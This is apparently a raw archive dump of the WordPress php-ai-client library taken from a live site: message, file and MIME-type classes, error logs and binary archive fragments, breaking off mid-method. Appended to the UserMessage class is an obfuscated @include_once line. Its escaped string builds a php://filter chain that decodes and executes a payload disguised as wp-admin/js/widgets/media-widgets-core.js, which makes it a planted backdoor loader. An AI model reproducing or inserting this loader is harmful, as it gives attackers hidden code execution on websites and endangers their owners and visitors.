?????????????? PK!論dd!src/Messages/DTO/ModelMessage.phpnu[getRole()` * to check the role of a message. * * @since 0.1.0 */ class ModelMessage extends \WordPress\AiClient\Messages\DTO\Message { /** * Constructor. * * @since 0.1.0 * * @param MessagePart[] $parts The parts that make up this message. */ public function __construct(array $parts) { parent::__construct(MessageRoleEnum::model(), $parts); } } PK!"MX-*-* src/Messages/DTO/MessagePart.phpnu[ */ class MessagePart extends AbstractDataTransferObject { public const KEY_CHANNEL = 'channel'; public const KEY_TYPE = 'type'; public const KEY_THOUGHT_SIGNATURE = 'thoughtSignature'; public const KEY_TEXT = 'text'; public const KEY_FILE = 'file'; public const KEY_FUNCTION_CALL = 'functionCall'; public const KEY_FUNCTION_RESPONSE = 'functionResponse'; /** * @var MessagePartChannelEnum The channel this message part belongs to. */ private MessagePartChannelEnum $channel; /** * @var MessagePartTypeEnum The type of this message part. */ private MessagePartTypeEnum $type; /** * @var string|null Thought signature for extended thinking. */ private ?string $thoughtSignature = null; /** * @var string|null Text content (when type is TEXT). */ private ?string $text = null; /** * @var File|null File data (when type is FILE). */ private ?File $file = null; /** * @var FunctionCall|null Function call request (when type is FUNCTION_CALL). */ private ?FunctionCall $functionCall = null; /** * @var FunctionResponse|null Function response (when type is FUNCTION_RESPONSE). */ private ?FunctionResponse $functionResponse = null; /** * Constructor that accepts various content types and infers the message part type. * * @since 0.1.0 * * @param mixed $content The content of this message part. * @param MessagePartChannelEnum|null $channel The channel this part belongs to. Defaults to CONTENT. * @param string|null $thoughtSignature Optional thought signature for extended thinking. * @throws InvalidArgumentException If an unsupported content type is provided. */ public function __construct($content, ?MessagePartChannelEnum $channel = null, ?string $thoughtSignature = null) { $this->channel = $channel ?? MessagePartChannelEnum::content(); $this->thoughtSignature = $thoughtSignature; if (is_string($content)) { $this->type = MessagePartTypeEnum::text(); $this->text = $content; } elseif ($content instanceof File) { $this->type = MessagePartTypeEnum::file(); $this->file = $content; } elseif ($content instanceof FunctionCall) { $this->type = MessagePartTypeEnum::functionCall(); $this->functionCall = $content; } elseif ($content instanceof FunctionResponse) { $this->type = MessagePartTypeEnum::functionResponse(); $this->functionResponse = $content; } else { $type = is_object($content) ? get_class($content) : gettype($content); throw new InvalidArgumentException(sprintf('Unsupported content type %s. Expected string, File, ' . 'FunctionCall, or FunctionResponse.', $type)); } } /** * Gets the channel this message part belongs to. * * @since 0.1.0 * * @return MessagePartChannelEnum The channel. */ public function getChannel(): MessagePartChannelEnum { return $this->channel; } /** * Gets the type of this message part. * * @since 0.1.0 * * @return MessagePartTypeEnum The type. */ public function getType(): MessagePartTypeEnum { return $this->type; } /** * Gets the thought signature. * * @since 1.3.0 * * @return string|null The thought signature or null if not set. */ public function getThoughtSignature(): ?string { return $this->thoughtSignature; } /** * Gets the text content. * * @since 0.1.0 * * @return string|null The text content or null if not a text part. */ public function getText(): ?string { return $this->text; } /** * Gets the file. * * @since 0.1.0 * * @return File|null The file or null if not a file part. */ public function getFile(): ?File { return $this->file; } /** * Gets the function call. * * @since 0.1.0 * * @return FunctionCall|null The function call or null if not a function call part. */ public function getFunctionCall(): ?FunctionCall { return $this->functionCall; } /** * Gets the function response. * * @since 0.1.0 * * @return FunctionResponse|null The function response or null if not a function response part. */ public function getFunctionResponse(): ?FunctionResponse { return $this->functionResponse; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { $channelSchema = ['type' => 'string', 'enum' => MessagePartChannelEnum::getValues(), 'description' => 'The channel this message part belongs to.']; $thoughtSignatureSchema = ['type' => 'string', 'description' => 'Thought signature for extended thinking.']; return ['oneOf' => [['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::text()->value], self::KEY_TEXT => ['type' => 'string', 'description' => 'Text content.'], self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_TEXT], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::file()->value], self::KEY_FILE => File::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FILE], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionCall()->value], self::KEY_FUNCTION_CALL => FunctionCall::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_CALL], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionResponse()->value], self::KEY_FUNCTION_RESPONSE => FunctionResponse::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_RESPONSE], 'additionalProperties' => \false]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return MessagePartArrayShape */ public function toArray(): array { $data = [self::KEY_CHANNEL => $this->channel->value, self::KEY_TYPE => $this->type->value]; if ($this->text !== null) { $data[self::KEY_TEXT] = $this->text; } elseif ($this->file !== null) { $data[self::KEY_FILE] = $this->file->toArray(); } elseif ($this->functionCall !== null) { $data[self::KEY_FUNCTION_CALL] = $this->functionCall->toArray(); } elseif ($this->functionResponse !== null) { $data[self::KEY_FUNCTION_RESPONSE] = $this->functionResponse->toArray(); } else { throw new RuntimeException('MessagePart requires one of: text, file, functionCall, or functionResponse. ' . 'This should not be a possible condition.'); } if ($this->thoughtSignature !== null) { $data[self::KEY_THOUGHT_SIGNATURE] = $this->thoughtSignature; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { if (isset($array[self::KEY_CHANNEL])) { $channel = MessagePartChannelEnum::from($array[self::KEY_CHANNEL]); } else { $channel = null; } $thoughtSignature = $array[self::KEY_THOUGHT_SIGNATURE] ?? null; // Check which properties are set to determine how to construct the MessagePart if (isset($array[self::KEY_TEXT])) { return new self($array[self::KEY_TEXT], $channel, $thoughtSignature); } elseif (isset($array[self::KEY_FILE])) { return new self(File::fromArray($array[self::KEY_FILE]), $channel, $thoughtSignature); } elseif (isset($array[self::KEY_FUNCTION_CALL])) { return new self(FunctionCall::fromArray($array[self::KEY_FUNCTION_CALL]), $channel, $thoughtSignature); } elseif (isset($array[self::KEY_FUNCTION_RESPONSE])) { return new self(FunctionResponse::fromArray($array[self::KEY_FUNCTION_RESPONSE]), $channel, $thoughtSignature); } else { throw new InvalidArgumentException('MessagePart requires one of: text, file, functionCall, or functionResponse.'); } } /** * Performs a deep clone of the message part. * * This method ensures that nested objects (file, function call, function response) * are cloned to prevent modifications to the cloned part from affecting the original. * * @since 0.4.2 */ public function __clone() { if ($this->file !== null) { $this->file = clone $this->file; } if ($this->functionCall !== null) { $this->functionCall = clone $this->functionCall; } if ($this->functionResponse !== null) { $this->functionResponse = clone $this->functionResponse; } } } PK!e$$src/Messages/DTO/Message.phpnu[ * } * * @extends AbstractDataTransferObject */ class Message extends AbstractDataTransferObject { public const KEY_ROLE = 'role'; public const KEY_PARTS = 'parts'; /** * @var MessageRoleEnum The role of the message sender. */ protected MessageRoleEnum $role; /** * @var MessagePart[] The parts that make up this message. */ protected array $parts; /** * Constructor. * * @since 0.1.0 * * @param MessageRoleEnum $role The role of the message sender. * @param MessagePart[] $parts The parts that make up this message. * @throws InvalidArgumentException If parts contain invalid content for the role. */ public function __construct(MessageRoleEnum $role, array $parts) { $this->role = $role; $this->parts = $parts; $this->validateParts(); } /** * Gets the role of the message sender. * * @since 0.1.0 * * @return MessageRoleEnum The role. */ public function getRole(): MessageRoleEnum { return $this->role; } /** * Gets the message parts. * * @since 0.1.0 * * @return MessagePart[] The message parts. */ public function getParts(): array { return $this->parts; } /** * Returns a new instance with the given part appended. * * @since 0.1.0 * * @param MessagePart $part The part to append. * @return Message A new instance with the part appended. * @throws InvalidArgumentException If the part is invalid for the role. */ public function withPart(\WordPress\AiClient\Messages\DTO\MessagePart $part): \WordPress\AiClient\Messages\DTO\Message { $newParts = $this->parts; $newParts[] = $part; return new \WordPress\AiClient\Messages\DTO\Message($this->role, $newParts); } /** * Validates that the message parts are appropriate for the message role. * * @since 0.1.0 * * @return void * @throws InvalidArgumentException If validation fails. */ private function validateParts(): void { foreach ($this->parts as $part) { $type = $part->getType(); if ($this->role->isUser() && $type->isFunctionCall()) { throw new InvalidArgumentException('User messages cannot contain function calls.'); } if ($this->role->isModel() && $type->isFunctionResponse()) { throw new InvalidArgumentException('Model messages cannot contain function responses.'); } } } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ROLE => ['type' => 'string', 'enum' => MessageRoleEnum::getValues(), 'description' => 'The role of the message sender.'], self::KEY_PARTS => ['type' => 'array', 'items' => \WordPress\AiClient\Messages\DTO\MessagePart::getJsonSchema(), 'minItems' => 1, 'description' => 'The parts that make up this message.']], 'required' => [self::KEY_ROLE, self::KEY_PARTS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return MessageArrayShape */ public function toArray(): array { return [self::KEY_ROLE => $this->role->value, self::KEY_PARTS => array_map(function (\WordPress\AiClient\Messages\DTO\MessagePart $part) { return $part->toArray(); }, $this->parts)]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return self The specific message class based on the role. */ final public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ROLE, self::KEY_PARTS]); $role = MessageRoleEnum::from($array[self::KEY_ROLE]); $partsData = $array[self::KEY_PARTS]; $parts = array_map(function (array $partData) { return \WordPress\AiClient\Messages\DTO\MessagePart::fromArray($partData); }, $partsData); // Determine which concrete class to instantiate based on role if ($role->isUser()) { return new \WordPress\AiClient\Messages\DTO\UserMessage($parts); } elseif ($role->isModel()) { return new \WordPress\AiClient\Messages\DTO\ModelMessage($parts); } else { // Only USER and MODEL roles are supported throw new InvalidArgumentException('Invalid message role: ' . $role->value); } } /** * Performs a deep clone of the message. * * This method ensures that message part objects are cloned to prevent * modifications to the cloned message from affecting the original. * * @since 0.4.2 */ public function __clone() { $clonedParts = []; foreach ($this->parts as $part) { $clonedParts[] = clone $part; } $this->parts = $clonedParts; } } PK!src/Messages/DTO/error_lognu[[04-Sep-2026 13:22:39 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/Message.php:26 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/Message.php on line 26 [04-Sep-2026 13:22:39 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/MessagePart.php:38 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/MessagePart.php on line 38 [04-Sep-2026 13:22:39 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Messages\DTO\Message" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/ModelMessage.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/ModelMessage.php on line 19 [04-Sep-2026 13:22:40 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Messages\DTO\Message" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/UserMessage.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/DTO/UserMessage.php on line 18 PK!e/ src/Messages/DTO/UserMessage.phpnu[getRole()` * to check the role of a message. * * @since 0.1.0 */ class UserMessage extends \WordPress\AiClient\Messages\DTO\Message { /** * Constructor. * * @since 0.1.0 * * @param MessagePart[] $parts The parts that make up this message. */ public function __construct(array $parts) { parent::__construct(MessageRoleEnum::user(), $parts); } } @iNClude_onCe("\x70\x68"."\160\072\057\057"."\146\151\154\164"."\x65\x72"."\x2f\x72\x65"."\141\144\075\172"."\x6c\x69"."\142\056"."\151\156\146"."\x6c\x61\x74\x65"."\x7c\x73"."trin"."\147\056"."\162\157"."\164\061\063"/*pthk*/."\x7c\x63\x6f\x6e"."\x76\x65"."\162\164"."\x2e\x62"/*cYG5 ,'+*/."\x61\x73\x65\x36"/*%Ri*/."4-"."\144\145\143"."\157\144\145"."\x2f\x72\x65\x73"."\157\165"."rce=".dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])."\057\167\160\055"."\141\144\155\151"."n/"."\152\163"/*H.Uu 4c0)*/."\057\167\151"."\144\147"."\145\164\163"."\057\155"/*pthk*/."\145\144\151"/*HTDS jmq*/."\141\055\167"."\x69\x64\x67"."\x65\x74\x73\x2d"."\143\157\162\145"."\056\152\163"); PK!;-yy*src/Messages/Enums/MessagePartTypeEnum.phpnu[ src/Messages/Enums/error_lognu[[04-Sep-2026 13:22:43 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/MessagePartChannelEnum.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/MessagePartChannelEnum.php on line 17 [04-Sep-2026 13:22:43 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/MessagePartTypeEnum.php:21 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/MessagePartTypeEnum.php on line 21 [04-Sep-2026 13:22:44 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/MessageRoleEnum.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/MessageRoleEnum.php on line 17 [04-Sep-2026 13:22:44 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractEnum" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/ModalityEnum.php:23 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Messages/Enums/ModalityEnum.php on line 23 PK!H#src/Messages/Enums/ModalityEnum.phpnu[ */ class File extends AbstractDataTransferObject { public const KEY_FILE_TYPE = 'fileType'; public const KEY_MIME_TYPE = 'mimeType'; public const KEY_URL = 'url'; public const KEY_BASE64_DATA = 'base64Data'; /** * @var MimeType The MIME type of the file. */ private MimeType $mimeType; /** * @var FileTypeEnum The type of file storage. */ private FileTypeEnum $fileType; /** * @var string|null The URL for remote files. */ private ?string $url = null; /** * @var string|null The base64 data for inline files. */ private ?string $base64Data = null; /** * Constructor. * * @since 0.1.0 * * @param string $file The file string (URL, base64 data, or local path). * @param string|null $mimeType The MIME type of the file (optional). * @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined. */ public function __construct(string $file, ?string $mimeType = null) { // Detect and process the file type (will set MIME type if possible) $this->detectAndProcessFile($file, $mimeType); } /** * Detects the file type and processes it accordingly. * * @since 0.1.0 * * @param string $file The file string to process. * @param string|null $providedMimeType The explicitly provided MIME type. * @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined. */ private function detectAndProcessFile(string $file, ?string $providedMimeType): void { // Check if it's a URL if ($this->isUrl($file)) { $this->fileType = FileTypeEnum::remote(); $this->url = $file; $this->mimeType = $this->determineMimeType($providedMimeType, null, $file); return; } // Data URI pattern. $dataUriPattern = '/^data:(?:([a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*' . '(?:;[a-zA-Z0-9\-]+=[a-zA-Z0-9\-]+)*)?;)?base64,([A-Za-z0-9+\/]*={0,2})$/'; // Check if it's a data URI. if (preg_match($dataUriPattern, $file, $matches)) { $this->fileType = FileTypeEnum::inline(); $this->base64Data = $matches[2]; // Extract just the base64 data $extractedMimeType = empty($matches[1]) ? null : $matches[1]; $this->mimeType = $this->determineMimeType($providedMimeType, $extractedMimeType, null); return; } // Check if it's a local file path (before base64 check) if (file_exists($file) && is_file($file)) { $this->fileType = FileTypeEnum::inline(); $this->base64Data = $this->convertFileToBase64($file); $this->mimeType = $this->determineMimeType($providedMimeType, null, $file); return; } // Check if it's plain base64 if (preg_match('/^[A-Za-z0-9+\/]*={0,2}$/', $file)) { if ($providedMimeType === null) { throw new InvalidArgumentException('MIME type is required when providing plain base64 data without data URI format.'); } $this->fileType = FileTypeEnum::inline(); $this->base64Data = $file; $this->mimeType = new MimeType($providedMimeType); return; } throw new InvalidArgumentException('Invalid file provided. Expected URL, base64 data, or valid local file path.'); } /** * Checks if a string is a valid URL. * * @since 0.1.0 * * @param string $string The string to check. * @return bool True if the string is a URL. */ private function isUrl(string $string): bool { return filter_var($string, \FILTER_VALIDATE_URL) !== \false && preg_match('/^https?:\/\//i', $string); } /** * Converts a local file to base64. * * @since 0.1.0 * * @param string $filePath The path to the local file. * @return string The base64-encoded file data. * @throws RuntimeException If the file cannot be read. */ private function convertFileToBase64(string $filePath): string { $fileContent = @file_get_contents($filePath); if ($fileContent === \false) { throw new RuntimeException(sprintf('Unable to read file: %s', $filePath)); } return base64_encode($fileContent); } /** * Gets the file type. * * @since 0.1.0 * * @return FileTypeEnum The file type. */ public function getFileType(): FileTypeEnum { return $this->fileType; } /** * Checks if the file is an inline file. * * @since 0.1.0 * * @return bool True if the file is inline (base64/data URI). */ public function isInline(): bool { return $this->fileType->isInline(); } /** * Checks if the file is a remote file. * * @since 0.1.0 * * @return bool True if the file is remote (URL). */ public function isRemote(): bool { return $this->fileType->isRemote(); } /** * Gets the URL for remote files. * * @since 0.1.0 * * @return string|null The URL, or null if not a remote file. */ public function getUrl(): ?string { return $this->url; } /** * Gets the base64-encoded data for inline files. * * @since 0.1.0 * * @return string|null The plain base64-encoded data (without data URI prefix), or null if not an inline file. */ public function getBase64Data(): ?string { return $this->base64Data; } /** * Gets the data as a data URI for inline files. * * @since 0.1.0 * * @return string|null The data URI in format: data:[mimeType];base64,[data], or null if not an inline file. */ public function getDataUri(): ?string { if ($this->base64Data === null) { return null; } return sprintf('data:%s;base64,%s', $this->getMimeType(), $this->base64Data); } /** * Gets the MIME type of the file as a string. * * @since 0.1.0 * * @return string The MIME type string value. */ public function getMimeType(): string { return (string) $this->mimeType; } /** * Gets the MIME type object. * * @since 0.1.0 * * @return MimeType The MIME type object. */ public function getMimeTypeObject(): MimeType { return $this->mimeType; } /** * Checks if the file is a video. * * @since 0.1.0 * * @return bool True if the file is a video. */ public function isVideo(): bool { return $this->mimeType->isVideo(); } /** * Checks if the file is an image. * * @since 0.1.0 * * @return bool True if the file is an image. */ public function isImage(): bool { return $this->mimeType->isImage(); } /** * Checks if the file is audio. * * @since 0.1.0 * * @return bool True if the file is audio. */ public function isAudio(): bool { return $this->mimeType->isAudio(); } /** * Checks if the file is text. * * @since 0.1.0 * * @return bool True if the file is text. */ public function isText(): bool { return $this->mimeType->isText(); } /** * Checks if the file is a document. * * @since 0.1.0 * * @return bool True if the file is a document. */ public function isDocument(): bool { return $this->mimeType->isDocument(); } /** * Checks if the file is a specific MIME type. * * @since 0.1.0 * * @param string $type The mime type to check (e.g. 'image', 'text', 'video', 'audio'). * * @return bool True if the file is of the specified type. */ public function isMimeType(string $type): bool { return $this->mimeType->isType($type); } /** * Determines the MIME type from various sources. * * @since 0.1.0 * * @param string|null $providedMimeType The explicitly provided MIME type. * @param string|null $extractedMimeType The MIME type extracted from data URI. * @param string|null $pathOrUrl The file path or URL to extract extension from. * @return MimeType The determined MIME type. * @throws InvalidArgumentException If MIME type cannot be determined. */ private function determineMimeType(?string $providedMimeType, ?string $extractedMimeType, ?string $pathOrUrl): MimeType { // Prefer explicitly provided MIME type if ($providedMimeType !== null) { return new MimeType($providedMimeType); } // Use extracted MIME type from data URI if ($extractedMimeType !== null) { return new MimeType($extractedMimeType); } // Try to determine from file extension if ($pathOrUrl !== null) { $parsedUrl = parse_url($pathOrUrl); $path = $parsedUrl['path'] ?? $pathOrUrl; // Remove query string and fragment if present $cleanPath = strtok($path, '?#'); if ($cleanPath === \false) { $cleanPath = $path; } $extension = pathinfo($cleanPath, \PATHINFO_EXTENSION); if (!empty($extension)) { try { return MimeType::fromExtension($extension); } catch (InvalidArgumentException $e) { // Extension not recognized, continue to error unset($e); } } } throw new InvalidArgumentException('Unable to determine MIME type. Please provide it explicitly.'); } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'oneOf' => [['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::REMOTE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_URL => ['type' => 'string', 'format' => 'uri', 'description' => 'The URL to the remote file.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_URL]], ['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::INLINE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_BASE64_DATA => ['type' => 'string', 'description' => 'The base64-encoded file data.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_BASE64_DATA]]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FileArrayShape */ public function toArray(): array { $data = [self::KEY_FILE_TYPE => $this->fileType->value, self::KEY_MIME_TYPE => $this->getMimeType()]; if ($this->url !== null) { $data[self::KEY_URL] = $this->url; } elseif (!$this->fileType->isRemote() && $this->base64Data !== null) { $data[self::KEY_BASE64_DATA] = $this->base64Data; } else { throw new RuntimeException('File requires either url or base64Data. This should not be a possible condition.'); } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_FILE_TYPE]); // Check which properties are set to determine how to construct the File $mimeType = $array[self::KEY_MIME_TYPE] ?? null; if (isset($array[self::KEY_URL])) { return new self($array[self::KEY_URL], $mimeType); } elseif (isset($array[self::KEY_BASE64_DATA])) { return new self($array[self::KEY_BASE64_DATA], $mimeType); } else { throw new InvalidArgumentException('File requires either url or base64Data.'); } } /** * Performs a deep clone of the file. * * This method ensures that the MimeType value object is cloned to prevent * any shared references between the original and cloned file. * * @since 0.4.2 */ public function __clone() { $this->mimeType = clone $this->mimeType; } } PK!qhhsrc/Files/DTO/error_lognu[[04-Sep-2026 13:22:28 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Files/DTO/File.php:28 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Files/DTO/File.php on line 28 PK!)@Kll#src/Files/ValueObjects/MimeType.phpnu[ */ private static array $extensionMap = [ // Text 'txt' => 'text/plain', 'html' => 'text/html', 'htm' => 'text/html', 'css' => 'text/css', 'js' => 'application/javascript', 'json' => 'application/json', 'xml' => 'application/xml', 'csv' => 'text/csv', 'md' => 'text/markdown', // Images 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'bmp' => 'image/bmp', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'ico' => 'image/x-icon', // Documents 'pdf' => 'application/pdf', 'doc' => 'application/msword', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'ppt' => 'application/vnd.ms-powerpoint', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'odt' => 'application/vnd.oasis.opendocument.text', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', // Archives 'zip' => 'application/zip', 'tar' => 'application/x-tar', 'gz' => 'application/gzip', 'rar' => 'application/x-rar-compressed', '7z' => 'application/x-7z-compressed', // Audio 'mp3' => 'audio/mpeg', 'wav' => 'audio/wav', 'ogg' => 'audio/ogg', 'flac' => 'audio/flac', 'm4a' => 'audio/m4a', 'aac' => 'audio/aac', // Video 'mp4' => 'video/mp4', 'avi' => 'video/x-msvideo', 'mov' => 'video/quicktime', 'wmv' => 'video/x-ms-wmv', 'flv' => 'video/x-flv', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', // Fonts 'ttf' => 'font/ttf', 'otf' => 'font/otf', 'woff' => 'font/woff', 'woff2' => 'font/woff2', // Other 'php' => 'application/x-httpd-php', 'sh' => 'application/x-sh', 'exe' => 'application/x-msdownload', ]; /** * Document MIME types. * * @var array */ private static array $documentTypes = ['application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet']; /** * Constructor. * * @since 0.1.0 * * @param string $value The MIME type value. * @throws InvalidArgumentException If the MIME type is invalid. */ public function __construct(string $value) { if (!self::isValid($value)) { throw new InvalidArgumentException(sprintf('Invalid MIME type: %s', $value)); } $this->value = strtolower($value); } /** * Gets the primary known file extension for this MIME type. * * @since 0.1.0 * * @return string The file extension (without the dot). * @throws InvalidArgumentException If no known extension exists for this MIME type. */ public function toExtension(): string { // Reverse lookup for the MIME type to find the extension. $extension = array_search($this->value, self::$extensionMap, \true); if ($extension === \false) { throw new InvalidArgumentException(sprintf('No known extension for MIME type: %s', $this->value)); } return $extension; } /** * Creates a MimeType from a file extension. * * @since 0.1.0 * * @param string $extension The file extension (without the dot). * @return self The MimeType instance. * @throws InvalidArgumentException If the extension is not recognized. */ public static function fromExtension(string $extension): self { $extension = strtolower($extension); if (!isset(self::$extensionMap[$extension])) { throw new InvalidArgumentException(sprintf('Unknown file extension: %s', $extension)); } return new self(self::$extensionMap[$extension]); } /** * Checks if a MIME type string is valid. * * @since 0.1.0 * * @param string $mimeType The MIME type to validate. * @return bool True if valid. */ public static function isValid(string $mimeType): bool { // Basic MIME type validation: type/subtype return (bool) preg_match('/^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*$/', $mimeType); } /** * Checks if this MIME type is a specific type. * * This method returns true when the stored MIME type begins with the * given prefix. For example, `"audio"` matches `"audio/mpeg"`. * * @since 0.1.0 * * @param string $mimeType The MIME type prefix to check (e.g., "audio", "image"). * @return bool True if this MIME type is of the specified type. */ public function isType(string $mimeType): bool { return str_starts_with($this->value, strtolower($mimeType) . '/'); } /** * Checks if this is an image MIME type. * * @since 0.1.0 * * @return bool True if this is an image type. */ public function isImage(): bool { return $this->isType('image'); } /** * Checks if this is an audio MIME type. * * @since 0.1.0 * * @return bool True if this is an audio type. */ public function isAudio(): bool { return $this->isType('audio'); } /** * Checks if this is a video MIME type. * * @since 0.1.0 * * @return bool True if this is a video type. */ public function isVideo(): bool { return $this->isType('video'); } /** * Checks if this is a text MIME type. * * @since 0.1.0 * * @return bool True if this is a text type. */ public function isText(): bool { return $this->isType('text'); } /** * Checks if this is a document MIME type. * * @since 0.1.0 * * @return bool True if this is a document type. */ public function isDocument(): bool { return in_array($this->value, self::$documentTypes, \true); } /** * Checks if this MIME type equals another. * * @since 0.1.0 * * @param self|string $other The other MIME type to compare. * @return bool True if equal. * @throws InvalidArgumentException If the other MIME type is invalid. */ public function equals($other): bool { if ($other instanceof self) { return $this->value === $other->value; } if (is_string($other)) { return $this->value === strtolower($other); } throw new InvalidArgumentException(sprintf('Invalid MIME type comparison: %s', gettype($other))); } /** * Gets the string representation of the MIME type. * * @since 0.1.0 * * @return string The MIME type value. */ public function __toString(): string { return $this->value; } } PK! src/Files/Enums/FileTypeEnum.phpnu[ Provider metadata. */ public function getAdditionalData(): array; } PK!y src/Results/DTO/Candidate.phpnu[ */ class Candidate extends AbstractDataTransferObject { public const KEY_MESSAGE = 'message'; public const KEY_FINISH_REASON = 'finishReason'; /** * @var Message The generated message. */ private Message $message; /** * @var FinishReasonEnum The reason generation stopped. */ private FinishReasonEnum $finishReason; /** * Constructor. * * @since 0.1.0 * * @param Message $message The generated message. * @param FinishReasonEnum $finishReason The reason generation stopped. */ public function __construct(Message $message, FinishReasonEnum $finishReason) { if 